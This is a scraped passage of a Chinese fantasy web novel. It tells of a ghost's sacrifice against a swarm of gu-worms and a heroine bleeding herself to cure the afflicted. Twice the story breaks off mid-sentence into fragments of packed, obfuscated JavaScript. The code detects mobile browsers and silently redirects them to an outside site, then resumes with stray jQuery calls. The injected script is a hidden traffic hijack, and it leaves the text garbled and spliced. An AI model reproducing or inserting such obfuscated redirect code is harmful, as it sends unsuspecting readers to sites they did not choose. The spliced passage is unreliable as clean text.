“三百年……”阿紫失神,“现在……是什么时候?” “距你的幻境五百一十三年。” 灵秋冷冷地盯着他:“你一直被困在这里,什么也不知道。如此无用,不如我现在就杀了你。” 她提气欲动,胸口骤然一紧,像剧毒入体,猛烈灼烧着气管。 剑气在虚空中划出破碎的裂响,灵秋踉跄着跪倒在地上,抬起头,恶狠狠地瞪向阿紫:“你竟敢给我下毒?” 话音刚落,她猛地吐出一口黑血。 心脏像是被一只无形的手狠狠攥住,呼吸间尽是腥甜夹杂着令人作呕的腐烂味道。 熟悉到心悸的感觉。 不,不是毒。 灵秋看向自己的小臂。 数条青黑色的细线从白皙的皮肤下缓缓浮出,像皮肉上蜿蜒凸起的血管,密密麻麻,蔓延不尽。 怎么会! 灵秋心下大惊。 明明不久前才服过解药,蛊虫怎么会这么快苏醒过来? 她咬紧牙关,指节死死扣住衣摆,冷汗涔涔,浑身止不住地颤抖。 眼前一片模糊,灵秋努力睁眼,可疼痛已经压过了视觉,盖过了一切。眼泪从眼角滑落,身体再也承受不住。 难道今日就要命丧于此…… 知觉寸寸剥离,胸口剧烈起伏着,恍惚间,有人上前轻轻握住了她的手。 阿紫半蹲在她身前,透明的阵法在两人之间展开。 手臂上的蛊虫缓慢蠕动起来,像千万根细针在血肉里钻洞,又像烈火一寸寸焚烧她的经脉。 灵秋再也忍不住,喉咙里撕裂出一声惨叫。 “再忍一忍!” 阿紫跪在她身侧,颤手按住她的肩。 数条蛊虫顺着法阵的指引,沿血脉经络,一寸寸游离出灵秋的身体,缓缓钻入阿紫的手臂,发出呲呲的声音。 在灵秋含泪的注视下,阿紫手臂上小指粗的蛊虫突然开始剧烈地挣扎游动。 一瞬间,他的身体成了两股蛊虫争夺猎杀的熔炉。 阿紫紧紧抿着唇,仿佛承受着巨大的痛苦。 细小的虫很快占据上风。 阿紫喃喃出法咒,转眼间,阵法爆开,以迅雷不及掩耳之势裂成飞灰。与此同时,他手中冷光乍现,簌簌抛出数道符咒,打向自己。 砰! 重击像是要将灵魂震碎,一声闷哼从阿紫唇间溢出,周遭寒气如雾气飞散,一瞬收尽。 体内汹涌的痛意骤然一松,灵秋看向小臂——剩下三分之二的蛊虫挣扎着,一点点融入皮肉,再也看不见踪迹。 她疾步上前,想扶住阿紫,手触碰到新鲜的封印咒,却从他的身体中央径直穿过。 灵秋眼中盈满不可置信:“你为什么要帮我解蛊!?” 为了引出她体内的蛊虫,竟然不惜对自己下封印咒! “……对不起”阿紫看着她,“如今我只是一缕幽魂,只能帮你到这一步。” 他伸出手,像是想抚上她的脸,指尖却在离她不到一寸的地方停住了。 手指在空中微微颤抖,一寸寸蜷回。 “乾坤山海图。”阿紫喃喃。 “什么?” 啪嗒—— 一滴残泪从灵秋眼中滚下,穿过他的手心。 “乾坤山海图。” 阿紫像是突然想到什么,猛地抬头,死死盯着灵秋。 “拿到乾坤山海图,复活你的母亲。到那时,你想知道的一切都会有答案。” “乾坤山海图可以复活我的母亲!?”灵秋抹了把落个不停的讨厌眼泪,“你说的是真的?” 阿紫点了点头。 “从这里出去……”他望着她,“若见到芙娘和我的……孩子,替我问一声好。” “答应我。” 他固执地盯着她,仿佛一定要得到一句承诺。 “我答应你。” 灵秋点了点头。 “记住,无论什么时候,决不能让任何人知晓你的身份……” 阿紫垂下眼,脱力般跪倒下去。 转眼间,四周结界散去。 灵秋茫然地后退一步,撞进云靖怀中。后者一眼看到她脸上的泪痕,眼神一寸寸沉下去,像是压抑了许久的情绪终于越过某个临界点。 “幻境自己破了!?” 一边,薛成昭原本仰面晕倒在地上,此刻也捂着脑袋醒来,不可置信地看着自己恢复原状的身体。 他们又回到了封印异兽的水晶废墟中间。 “阿紫?”云海川惊讶地看着眼前跪倒在地上的紫衣青年,瞪大了眼睛,“我们没有成功消解你的执念,怎么会回来?” 阿紫疲惫地扯了扯唇角,摆手道:“你们走吧。” “走?”云海川看着他,“你要放了我们?难道你……” “你都记起来了对不对!”薛成昭抢先一步,激动地对阿紫道:“阿芙,还有那个把你囚禁在这里的人。他究竟是谁?是不是魔族?” “与你们无关。”阿紫抬头看着他,眼眶发红,“走,走吧。” “我不走!消灭魔族人人有责!你告诉我那个白衣人是谁,长什么样子,我们现在就去把他抓来!” 薛成昭一把抓住他的胳膊,手却扑了个空,穿过他的身体。 他惊愕道:“你、你怎么了?!” 阿紫正想回答,突然间,地崩山摧,整座废墟开始摇摇欲坠。 混乱中,灵秋看着阿紫,正想飞身上前将他带出,下一瞬身侧的云靖猛地伸出一只手,单手将她整个人箍进怀里。 力道不算粗暴,却带着一种近乎固执的占有欲,像是要把她嵌进骨血,再不放开。 灵秋一惊,用力挣了挣,竟然没能挣开。 云靖顺着她的目光,死死盯着蹲在阿紫面前、一脸惊恐的薛成昭,眼底情绪浓得化不开。 废墟在坍塌,烟尘在弥漫。他抱着灵秋,驱使凝霜斩碎迎面而来的巨石,无数细小的碎晶洒落在脚边。 “放开我。” 怀中人挣扎着把他往外推。 云靖手臂一顿,却把她抱得更紧。 他看着灵秋,胸口剧烈起伏:“你就这么在乎他?” 刻意逗他,告诉他自己怕黑,要他的钱,逃跑时抓他的衣领,随时关心提醒他不吃糖葫芦,还在幻境里和他成婚!最过分的是,竟然为他以身犯险,跌入雾气,留他一个人急得转圈,找也找不到。① 最最最过分的是,直到现在,人在自己怀里,心却还在他身上! 要不是看在师尊嘱托的份上,云靖觉得自己一定早就忍不住揪着薛成昭的衣领把他提起来,扔出去,扔得越远越好。 凭什么啊?薛成昭和她明明才认识不久,怎么比得上自己! 在船上的时候他就觉得不对劲,男人的直觉果然没错! 云靖看向灵秋,只见她脸颊上还有模糊的泪痕。 她哭过。 难道是为了薛成昭? 天杀的他就知道! 此人着实有点姿色,来日必成心腹大患。 不如趁现在一片混乱在他脸上划一刀? 这样一来,她肯定会厌弃他。届时凭自己这张脸,不信不能让她回心转意。 剑意凌厉,一股强劲的气流自云靖体内炸开。天地震荡,眨眼间,整片废墟轰然崩塌! 沙尘、石柱、残瓦、碎晶,全数被灵力与剑气一扫而空。 “唔——呸!” 薛成昭吐出一口灰尘,抹了把脸,露出惊喜的表情,蹬蹬蹬地跑到云靖面前,赞叹道:“大师兄你好厉害啊!” 云靖的眼神落到他黢黑的大花脸上,余光不动声色地瞄向怀中的灵秋。 怎么样,还是我好看吧。 他在心底不屑地哼了一声。 灵秋此刻正恼火。 施法就施法,把她拿手臂绑住又是个什么意思? 最讨厌有人限制自己的行动,偏偏现在又不是当场算账的时候。 灵秋毫不犹豫地一把推开云靖,看也不看对方脸上受伤的表情,踩着满地异兽,提着裙子走向阿紫。 异兽在流转的符文下沉睡,她刚走没几步,头顶突然传来一声尖利的嚎叫。 这声音……听起来就像—— “万虫之王!一跃成龙!” 哗啦—— 天上月亮突然睁开,周围嶙峋的山石开始缓缓挪动。 云海川最敏锐,第一个惊呼道:“是龙骨!” 伴随生涩而沉闷的响动,一具硕大的骨架赫然自山壁间分离而出。 原本白森森的骨架呈现出油亮的黑色,众人定睛一瞧,龙骨上密密麻麻附着的竟是数不清的细小蛊虫。 肢节碰撞的声音传来,窸窸窣窣,令人头皮发麻。 天上,那颗浅黄的眼睛死死注视着地上的人。 “万虫之王!一跃成龙!” “万虫之王,一跃成龙!” 无数蛊虫从龙骨上爬下,像流动的潮水涌向他们,比之前的所有场面浩大不止一倍。 虫潮铺满了目之所及的所有地方,龙骨却依旧维持原样,连半分本色也未显出。 这一次,不需任何条件,灵秋果断地划开手臂。 鲜血挥洒而出,却如水入江河,身前蛊虫刚化作飞灰,立刻就有更多的蛊虫填补上来,前仆后继,无穷无尽。 “万虫之王,一跃成龙!” 尖细的声音在江底回响,如万古执念,刺痛着每个人的耳膜。 空荡龙头上只挂着一只明黄的独眼,带着无数扭动的黑虫,自头顶俯身而下,接近他们,伸出长舌。 那舌头嘶嘶如蛇信,却由无数蠕动的细虫组成,发出诡异的细响。 巨大的阴影自头顶投下,罩住地上的人。 与此同时,脚下,更多的蛊虫极速涌来。 原本以一敌百的血此刻也是有心无力。灵秋奋力驱使灵力扫除黑虫,衣袍鞋袜已在不自觉间被虫潮覆盖。 哗啦—— 龙头前倾,蛊虫如瀑布般倾泻。 “快躲开!” 危急时刻,阿紫飞身上前,挡在她身前。 他驱动法术狠狠推开四人。 一道从未见过的奇特法阵骤然铺开,将四人与虫潮隔绝。 刹那间,整个江底的蛊虫开始疯狂躁动。 “你要做什么!” 灵秋用力拍打着面前的结界。 然而任凭她如何施法,结界始终紧紧笼罩着他们,一动也不动。 薛成昭大喊道:“阿紫!” 下一瞬,在众人目眦尽裂的注视下,阿紫飞身冲入那片如潮汹涌的虫海。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489809|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 灵力瞬间炸开,蓝色的光芒自他身侧升腾,宛若将死的星辰用尽最后的力量燃烧而成的一圈防线。 蛊虫前仆后继地撞向他,炸出无数碎影,吞没了阿紫的身形。 虫潮一波接着一波,直到最后,连最后一点光芒也吞噬殆尽。 薛成昭靠着结界滑到在地上,呆呆地看着那方。 眼前的一切都覆盖上一片深沉、绝望的黑。 结界像一片薄雾,倏然消失于无形。 灵秋猛地冲出去,向着远处那道身影狂奔。 她还有太多困惑需要他解答,不能,不能就这么眼睁睁地看着他死。 虫潮已散,天地归于死寂。焦土上,阿紫的身体近乎透明,闪烁出微弱的光芒。 他伏在地上,手脚并用,吃力地向着不远处的石壁挪动。 “阿紫!” 薛成昭跑到他身边,眼眶一红,伸出的手又收回来。 灵秋掀开衣服,露出手腕:“我现在就救你!” “没用的。”阿紫制止她,浅浅吐出一口气,“别忘了,我早就已经死了。” “五百年……” 他仰头,一颗浅蓝色的明珠从白森森的龙骨深处飘出,落入他的掌心。 阿紫看着明珠,低声道:“若不是为了阻止你们开启幻境,或许我这辈子也不可能知道这抹执念的存在,更不可能回想起我的……芙娘。” 他看着面前四人,泪落连珠:“我这一生做了太多错事,害了太多无辜的人……” “那不是你的错。”云海川道:“是那个把你困在这里的人,是魔族和血蛊。” 云靖问:“你知道那个人是谁吗?” 阿紫摇头:“我记不清了。” 薛成昭看向四周被封印住的异兽,目光落到一旁的闻人双双身上,问道:“阿紫,现在蛊虫已经死了,为什么我表姐他们还没有恢复?” 阿紫道:“蛊虫入体,他们是无法恢复的,除非……” 他用几近透明的手覆上灵秋的手背:“妖魔之中并非全是十恶不赦之辈,与人一样,妖和魔也有好坏之分。无论任何身份,只要心怀善意,妖也好,魔也罢,与人又有什么分别……” “你的意思是要我救他们?”灵秋看着他,“对吗?” 阿紫点点头:“这世上只有一个人可以救他们。那就是你。这些无辜之人之所以有今日,都是因为我,所以请你帮我救他们,帮我……赎罪。” 他道:“只需要一点血,不会对你的身体造成损害。” “……” 灵秋静默无言地看着阿紫,只见他身体越来越透明,眼中泪光点点,已是油尽灯枯的模样。 片刻,她终于开口:“你救了我,我答应你。” 阿紫露出如释重负的微笑。 他体内符文流转,密布的经脉清晰可见,细长的蛊虫就攀附在上面,狰狞的黑色成了几人眼前唯一鲜明的东西。此情此景堪称触目惊心。 “阿紫……” 眼见他瞳孔涣散,薛成昭红着眼,呼唤他的名字。 阿紫如回光返照般,朝着五彩的石壁伸出手。 他的气息断断续续,魂魄仿佛快要被风吹散。 “芙娘……”他轻声呼唤爱人的姓名,语气轻得像是在梦中,“我是真的,真的,爱……你……” 最后一刻,阿紫微微一笑,眼中光芒一闪,彻底黯淡下去。 江底冰凉的风吹过,虚影消失在天地间。 世界一瞬静默。 灵秋眨了眨眼,毫无预兆的落下一滴泪来。 真奇怪。 她抹了把眼睛。 “其实,你们不觉得奇怪吗?” 不知过了多久,薛成昭冷不丁地冒出一句话。 他走向石壁,毫无防备地将手抚上绮丽的颜料。 云海川惊呼道:“小心有毒!” “根本没事。”薛成昭举起手朝她晃了晃,眼神越发深沉。 他道:“我一开始就发现了,这些画的走向与其说是沿着石壁,不如说是……” 他猛地一震,斩下一片衣袍,捏在手上疯狂擦拭起石壁。 彩色一点点褪去,漆黑的石壁露出真容。 指尖触摸到凹凸的刻印,薛成昭燃出一道明符,凑近细看,瞳孔大震,急忙转身道:“快来看!” 其余三人上前,只见那一小块漆黑的石壁在明符的映照之下显露出凹凸的轮廓,刻痕深深烙印,一笔一划都是一个字的重复。 “芙。” 云靖轻轻念出,随即割下自己的衣袍,跟着薛成昭擦拭起旁边的石壁。 芙。 芙。 芙。 炫目的壁画之下,整片石壁上密密麻麻地刻满了芙字,绵延不绝,整整五百年。 薛成昭震撼道:“难道阿紫从来没有忘记……” “不。”云靖深吸一口气,“他忘了。只是心还记得。” “我想阿紫之所以会觉得石壁上的颜料有毒,或许是因为体内的蛊虫。” 云海川道:“蛊虫占据他的意识,为了彻底湮灭阿紫这个人,才会在他脑中灌注远离石壁的想法。” “最后一刻,或许他终于回想起石壁上的刻字,才会想要触碰壁画。” “可惜阿紫已经魂飞魄散,事实如何,我们再也无从得知了。” 云靖叹道:“阿紫虽然是妖,但至情至性,对阿芙的痴心实在令人动容。” “有什么了不起的。”灵秋皱眉,生硬地偏过头。 不知为何,她一看到满墙的刻字就觉得呼吸不畅,仿佛置身永无光明的黑暗之中,心脏难受得像是要爆裂开来。 她看一眼地上密密麻麻的异兽,伸手指向旁边的闻人双双,接着道:“我可以救任何人,除了她。” 一瞬间,薛成昭和云靖同时冲到她跟前。 38.血藏天命假亦作真(2) “你已经答应了阿紫。如果谁都可以救,为什么唯独不救我表姐?” 薛成昭微微皱眉。 他不满灵秋对满墙刻字的轻蔑,更无法理解她对闻人表姐的敌意。 薛氏没落,幸得多年前长辈安排,令旁支的一位姨母嫁入闻人氏,这才使得闻人家主在若干年后肯对这个已经行将就木的古老氏族出手相助。 虽然错过了前段比试,虽然对此前发生的事情一无所知,但有闻人氏以及北方氏族作保,只要成功通过眼前的江底试炼,薛成昭一样可以进入太霄辰宫,就像他已经在擂台上和其他人大战过三百回合一样。 虽然这样会占去一个名额,虽然这样会让一个实力足够却不突出,家世也平平无奇的修士铩羽而归,薛成昭却不觉得有什么不对。 他已经习惯了。 薛氏的余辉依旧明晃晃地照在他身上,世家子弟从出生开始就对这样的事司空见惯。他只需要做好眼前的事,成败自有家中长辈替他斡旋。 牺牲、困苦、郁郁不得、鸳鸯红烛映照下的眼泪和功败垂成的绝望,所有的一切都与他无关。 世界对于薛成昭来说广阔而明亮,大厦倾颓也不过是将一望无际的旷野二分成为苍茫延伸的草原。 他站在家族的羽翼下,活得好端端的,像一株昂扬的、未经风霜向日葵,悠闲地欣赏着世间一切美好的画作,崇拜着圣人书卷里高洁无双的美好品格,向往着至真至纯的少年义气。 如此明亮的人生无法容忍对真善美的轻视。 薛成昭站在船上,抬头望见闻人氏的风帆,心中泛起的唯有投桃报李、感恩戴德。 所以他才会追逐闻人双双至此。 所以他才会拥有那么多不分青红皂白的、执着的善意。 薛成昭不明白灵秋不救闻人双双的原因,哪怕假设他知道万丈崖上整件事的来龙去脉也依旧不明白。 “万丈崖上过去的事已经过去了,整座阳华境的人都说逍遥派的凌姑娘宽宏大量,为何你如今反倒计较起来了?” 云靖道:“人心难测,即便世道凉薄,修道之人依旧不应更改本心。不是吗?” 他故意说着灵秋不爱听的话。 从幻境中她说不会为一颗真心舍弃天下开始,到眼下她对满墙刻字无动于衷,云靖突然意识到一件令人恐惧的事实——如果有一天他们中的一个为天地所不容,自己甘愿为她舍弃一切,她却绝不可能为他舍弃一切。 感情一事上,他们持有的观点从一开始就全然不同。 这一点也不公平。 尤其是……回想起万丈崖底幻境之中那只狐妖留下的预言。 这些日子,云靖常常从被她一剑穿心的噩梦中惊醒。梦中人决绝得没有一丝恻隐的眼神日复一日地刺穿他,仅仅是回忆起来就心痛得难以自抑。 原本还抱有一丝奢望,可如今她站在他面前,字字句句、一言一行,都是在一遍又一遍地确认。 梦境为真。 她真干得出那样的事。 认识到这一点让云靖感到无比惶恐,比再一次被她爽约抛弃在原地还要痛苦千万倍。 这何尝不是某种意义上的抛弃? 更加彻底,更加不可挽回。 丹碧峰下,太虚宫前,五年又五年,等待她这件事几乎占据了他三分之二的人生,失望的感受没人比他更心知肚明。 云靖心跳加快,指尖发冷。像一根被无数次踩断又续接起来的琴弦,稍一碰,就发出刺耳的震颤。 他知道自己有问题。 然而此刻,他站在灵秋面前,和薛成昭一起,笑得温和,话也说得体面。 人怎么能控制自己的心呢? 仿佛已经看到面目全非、血肉飞溅的悲惨结局。 他无法抗拒,一步步走近,亲手把刀递到她手里,却还不甘心。好像只能通过这样幼稚的方式找回一局。 反正阿紫说了,就算多救一个闻人双双也于她无害,只不过平添几分膈应。 他只能如此。 看到她微微皱起的眉,眼睛里荡漾出愠怒的波澜,两颗黑瞳直愣愣地望着他,不可置信像跳跃游动的小鱼,愤怒地拍打着水面。 他只能如此。 好像施予她这点连微不足道也算不上的感受,能与自己心脏的钝痛鼓噪共鸣。 真够贱的。 他嘴上说着大义凛然的话,心里唾弃的却是自己。 “是啊,即便有什么恩怨,也不该见死不救啊。” 薛成昭附和。 他当然猜得出灵秋与闻人表姐有过节,可那又怎样呢?任何的恩怨在生死面前都要靠边,理应如此,不是吗? 只是说完这句话,看灵秋的脸色,他到底有些发怵,下意识往云靖身边靠了靠。 出乎意料的,灵秋连看也没看他一眼。 她只是望着云靖,平声道:“你真的要我救她?” 她眼中的怒意消散了,仿佛投入水中的石子终于沉入湖底,平静得几乎冷淡,却像一把刀,轻轻剖开他伪装的壳。 云靖愣住,嗓子像是被什么堵住了,话哽在喉咙里一个字也说不出来。倒是一旁的薛成昭抢应道:“当然!” 手腕忽然被牵动了一下。 一束光带绵延过满地异兽,出现在两人之间。 伴随一道清脆的响声,千里同心绳咔嚓断裂,随之而下的还有灵秋手腕上雨般滴落的血。 云靖心里腾的一下,仿佛一脚踩塌,落进深深的空井里。 滴答,滴答。 血砸在地面,是空寂的回响。 很多时候并非不能,而是不想。 灵秋转向身侧从始至终一言不发的云海川:“请云姑娘为我掌灯护法。” 云海川点点头,转头对云靖和薛成昭道:“两位还是赶紧从此处结界出去,找人来接应我们吧。” 言罢,没理会薛成昭,径直走到灵秋身侧。 血融入法阵,红光在整个江底流转。 “大师兄,我们快走吧。” 薛成昭的声音传来。 云靖张了张嘴,什么都没说出来,只觉得胸口闷得发疼,像有什么东西正在无声地塌陷。 手腕上,断成两截的千里同心绳在虚空之中摇摇晃晃。 两缠两解,像冥冥中的照应。 云靖背过身去。 啪嗒。 温热的液体砸向地面,发出微不足道的细响,被异兽不安的呜咽尽数掩盖。 眼前尽是模糊而刺目的红。昭彰的血腥气疯狂倒灌进鼻腔。地上异兽被沾满鲜血的符文包裹,越发躁动,痛苦地蜷缩成一团。 鲜血贯通七窍,无数细小的蛊虫从他们的口鼻涌出,一触碰到血便立刻化作焦灰。 异兽扭曲的五官逐渐在血浴中恢复原状,最后一刻,云靖站在凝霜剑上,艰难地偏过脑袋,回望向她,只见满目鲜红,血气冲天,那人盘腿端坐在成群的异兽中间,紧闭双眼,被层层法阵紧紧包围。 云靖的心猛地一沉。 阿紫明明说过,只需要一点血! 惊恐后知后觉地袭来,然而眨眼之间,凝霜剑风驰电掣,已载着他和薛成昭飞向江面。 刹那间,天光大作。 岸上爆发出夸张的哄乱。 最先围上来的是银霜楼和闻人氏的人。 “快去救人!” 刚一落地,薛成昭立即大喊一声。 话音刚落,人群中突然冲出一个穿着青衫的姑娘,一把抓住他的手臂,急切地问:“凌姑娘在哪儿?” 那姑娘穿过层层人群艰难地挤到他面前,连旁边的宋微澜和闻人氏家主也不顾,眼神亮得吓人,语调急促,几乎是吼出来的。 她的声音几乎被耳边的嘈杂掩盖,却令薛成昭无端一震,当即第一个答道:“放心,她没事。如今正在江底救助被蛊虫所伤的人。” 他刚说完这句话,旁边逍遥派,原本将心放在肚子里的逍遥散人骤然瞪大了眼睛。 他脚步急急,径直穿过人群,一把拨开围在云靖身边的银霜楼弟子,疾言厉色,冲他问道:“凌秋动了灵脉,是不是!” 云靖怔了一下,心头不安的窒息感愈来愈重,愣愣地点了点头。 逍遥散人当即扼腕大叹,他身后,为首几个逍遥派弟子的脸上露出惊惶的神情。 尤其是大师姐江芙,原本被死死堵在人群之外,一听这话,当即挥动手中铁剑,不管不顾,劈开一条路。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15510450|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群惊呼阵阵,江芙冲到云靖面前,呼吸急促,胸口剧烈起伏,眼看就要不管不顾地往江里扎。 关键时刻,逍遥散人大手一挥,一把拦住她。 散人在江芙手心画出几笔,低声嘱咐道:“去找云逸仙尊!” 随即对云靖道:“立即带我去找她!” 云靖心头一震,唤出凝霜,不顾岸上骚乱,冲破人群,载着逍遥散人,不管不顾地朝着江底飞去。 众人一见,也纷纷跟上。 一行人浩浩荡荡地飞至江底,只感到粘稠的血腥气猛冲进鼻腔。 眼前一片狼藉,唯一的光亮来源是四周漂浮不止的符文,与洞穴中心,少女手上翻滚着的,幽微难明的火光。 火光之下,灵秋平静地坐在法阵中央,四周符文将她牢牢包围,如跗骨之蛆,源源不断吸取着她的血,鲜红的液体自灵脉深处涌出,无穷无尽,仿佛全然没有节制。 云靖看到,不过短短片刻未见,她的面色已经苍白得近乎透明。火光映照下,仿佛只剩一层薄薄的皮肤贴在骨头上,连颤动都显得脆弱。 “师兄!?” “师叔祖!?您竟然还活着!?” “……” 不知是谁第一个发现,耳边逐渐响起人们惊异的呼唤,逍遥散人急促地飞奔向灵秋。 云海川的声音响起,一贯潇洒的姑娘竟然带上几分哭腔:“前辈,为什么停不下来了!” 蛊虫已经尽数剿灭,异化成兽的人每一个都恢复如初,可鲜血还在源源不断地涌向法阵,仿佛要把施法之人全身的血都流尽。 云靖冲上前,和逍遥散人一起拼命施法,试图停止法阵,一遍又一遍,徒劳无功。 他遍体冰凉,心痛如绞,万念俱灰。 为什么会这样? 云靖调动全身灵力,一次次地打向法阵,直到丹田泛起干涩的刺痛,蓦地向前喷出一口鲜血。 泪一滴滴地砸在地上,汹涌不止。 “为什么停不下来……为什么停不下来!” 他不住喃喃着,周遭世界失去声音,那些故人重逢的激动、逍遥散人要他停下的劝告,统统听不见了。 “师弟!再这么下去你会灵力耗尽而死的,快停下!” 于风抓住他的手,大喊道。 下个瞬间,云靖用力摆开他的手,继续调动力量拼命砸向法阵。 不知过了多久,久到他眼前虚影重重,只看得见法阵中心摇摇欲坠的人。 江芙大喊:“云逸仙尊来了!” 云靖惊喜莫名,立刻让到一边,死死盯着仙尊施法,恨不能随时疾扑上前。 法阵解除的一瞬间,灵秋脱力般昏厥倒地,仙尊触碰到她的灵脉,眼中闪过一丝讶异,大喊道:“速速将她带到我的云霄阁!” 话音刚落,云靖不顾体内剧痛,疾扑上前,用力抱起她。 凝霜剑划破空气,发出急促的锐响。 风声呼啸,他死死将她护在怀中。灵秋的气息微弱,血迹染透衣襟,贴在他胸前一片冰冷。 云靖不敢低头看,只能更紧地抱住灵秋,像是要把她嵌进骨血里。 怀中人长睫不安地颤动了一下。 只这轻微的颤动便足以令他肝胆欲裂。 “再撑一下,很快……很快就到了。” 灵力不断灌入灵秋体内,灵脉上的伤口却依旧狰狞。他低声呢喃,声音带上一丝颤意,平日从容的面孔此刻近乎失措,眼神死死盯着前方,像要用目光逼出前路。 风如刀割,衣帛裂响,剑光在阳华境上空划出一道流火。他没有灵力护体,全数压在剑速上。 罡风在身上划出一道道血痕。 “再快一点……再快一点……” 心里眼里,整个世界都只剩下这四个字。 云霄阁的大门被人砰的一声撞开,白衣仙士惊讶地看着来人,目光掠过他怀中的少女,剑眉一挑。 “来得这么快。” 青年从屋内走出,步伐从容,眼神落在云靖脸上。 “五百年了,你的性子还是这么急。” 他唇角挂着恰到好处的微笑,衣袍无尘,神色温和,眼底藏着淡淡的笑意,熟稔的语气就像是见到一别经年的故人。 39.血藏天命假亦作真(3) 一丝异样的感受掠过心头,云靖皱了皱眉,还来不及细究,白衣仙士紧接着指引他将怀中人放至水晶榻上。 他念动法诀,试图止住灵秋手腕上流血不止的伤口。 时间艰涩地流动着,成倍的灵力倾洒下去,如泥牛入海,毫无起色。 白衣仙士眉紧皱着,收了法力,从衣袖中掏出一盏晶莹剔透的水晶灯。 施术引魂,青焰无根自起,细如蚊翼,却不曾摇曳分毫。 白衣仙士将这灯放至灵秋床头,拱手站到一侧,低眉垂眼,端是收敛了动作。 云靖皱眉道:“师兄这是做什么?” “看不出来么?”白衣仙士朝榻上的少女扬了扬下巴,幽幽道:“血流不尽,没救了。待这明灯燃尽,她就又能投胎转世了。” “你说什么……” 云靖睫毛颤动。 “连白澈师兄你也没办法吗?” 他终于后知后觉地记起眼前这位仙士的姓名。 白澈,太霄辰宫神尊座下排行最末的弟子,云逸仙尊的师弟,整个人间最擅疗愈之术的修士。 云靖从未见过白澈本人,却从云逸口中听过数次这位小师弟的名号。 作为医修,白澈是太霄辰宫的后起之秀。彼时神尊座下弟子凋敝,云正与段若霜已拜别师尊,自立山门。 云逸与白澈都是后来者,只不过一个活泼外放、擅长交际,一个天性古怪、温和少言。是故多年来,前者的名头总要比后者大上许多,年纪轻轻便已有仙尊之名。 这对师兄弟皆修神农之道,外面的人总以为云逸胜过白澈许多,只有太霄辰宫中人知晓,白澈的医道实则远在云逸之上。 如今他对灵秋判下死刑,云靖心下一空,顿时如一脚踏空,整个人从高处直坠而下,耳边嗡嗡作响,天地失色。 白澈一动不动地看着他,嘴刚动了动,话未溢出,却见云靖忽然上前一步。 命灯静悬于铜灯座上,云靖毫不犹豫以凝霜划破自己的手腕,暗色的莲花纹顿时被鲜血沾红。 青焰发出嗤嗤的声响,爆出明亮的火光,轻轻颤动。 白澈看着他,先是一惊,随后便低头自顾自轻笑出声。 五年修为倾洒下去,云靖尤嫌不够。凝霜剑光一动,灵脉上便又是一道伤口。 白澈站在一侧,没有丝毫阻拦的冲动。却是身后,云逸带着众人姗姗来迟,段若霜和于风一眼看到他滴血的动作,疾步上前。 于风施法猛推开云靖,大惊道:“十年修为说给就给!你是不是疯了?!” 段若霜上前,心疼地抬起云靖的手,二话不说替他简单包扎。 就连原本一路铁青着脸的江芙心头也是一惊。 她脚步匆匆地走到灵秋身侧,跪在塌边,伸手摸了摸她的额头,擦去虚汗,眼中水色浮动,蓦地滚下两行泪来。 云逸走到白澈身边。二人小声低语几句,云逸的眉也皱起来,看着榻上昏迷的少女摇了摇头。 江芙整颗心立即悬空,转身拜倒在云逸身前,低求道:“求求仙尊救救我师妹。” 云逸躬身扶起她,叹了口气,沉声道:“她的灵脉特殊,我与师弟从未见过,而且曾受过大伤。如果不知道这其中原委,我们恐怕无计可施,只能等死。” “所以她究竟是什么人,受过什么伤,还请姑娘如实相告。” 白澈语气温和,眼神落到江芙脸上,瞳中一派清明和煦,却带着不容推拒的意味。 江芙自然明白二人的言下之意。 只是天命血脉何其特殊,今日若说出师妹的身份,无异于向天下人表明,定会令她陷入众矢之的。 可若是不说…… 逍遥散人还未赶到,江芙低下头,进也不是,退也不是,心上犹如火烹,煎熬至极。 偏偏此时一旁的于风出声道:“扭扭捏捏的做什么?到底受过什么伤,赶紧说啊!” 于风心里只有一句话:“我师弟连十年修为都舍出去了!那可是十年!十年!” 他不明白江芙在犹豫什么,没个好气,语气也急躁起来。 然而就是因为他这一句催促,原本跪坐在地上的江芙倏地抬头。 她恶狠狠地瞪着于风,眼圈发红,眉宇间怒气横生,几乎目眦尽裂。 于风被她这副模样惊了一跳,咽了口唾沫,到底觉得自己占理,努力遏制住后退的冲动,咬牙昂首向她道:“我说错什么了吗?” 江芙的视线扫过银霜楼众人,落在云靖身上,只见他一动不动地盯着一侧昏迷的人,双目赤红,连头也没抬。 她蓦地扫见他腕间的伤口,心有迟疑,却也只是片刻。 “我可以说……”江芙向云逸和白澈道:“只是还请仙尊驱散无关人等。” “不行。” 话音刚落,云靖立即回神。 “我不走。”他定定看向江芙,“我要在这儿守着她。” “你没有资格。”江芙冷冷地看着他,咬牙重复:“你没有资格。” “我说你们逍遥派是不是祖传的啊?”于风简直被气笑了,狠狠皱眉,怒从心起。 他拿起云靖的胳膊,冲江芙道:“我师弟刚刚做了什么,你没看见是吗?他凭什么不能留在这儿?” “就凭!就凭……” 不,不能说。 江芙深深吸了口气,胸膛剧烈起伏,生咽下喉中的委屈与愤怒。 “请仙尊驱散闲杂人等……” 她转过头,正想向云逸和白澈行礼,一双大手却倏地拦住她。 江芙抬头一看,眼泪立刻就像断了线的珠子似的顺着脸颊滚滚落下。 “师父……” 一开口,强装冷硬的声线立即变了调,颤抖着哽咽。 见逍遥散人赶到,云正和段若霜对视一眼,率先道:“不若我们先暂时……” “不必。”逍遥散人打断他们的话,“不用回避。” 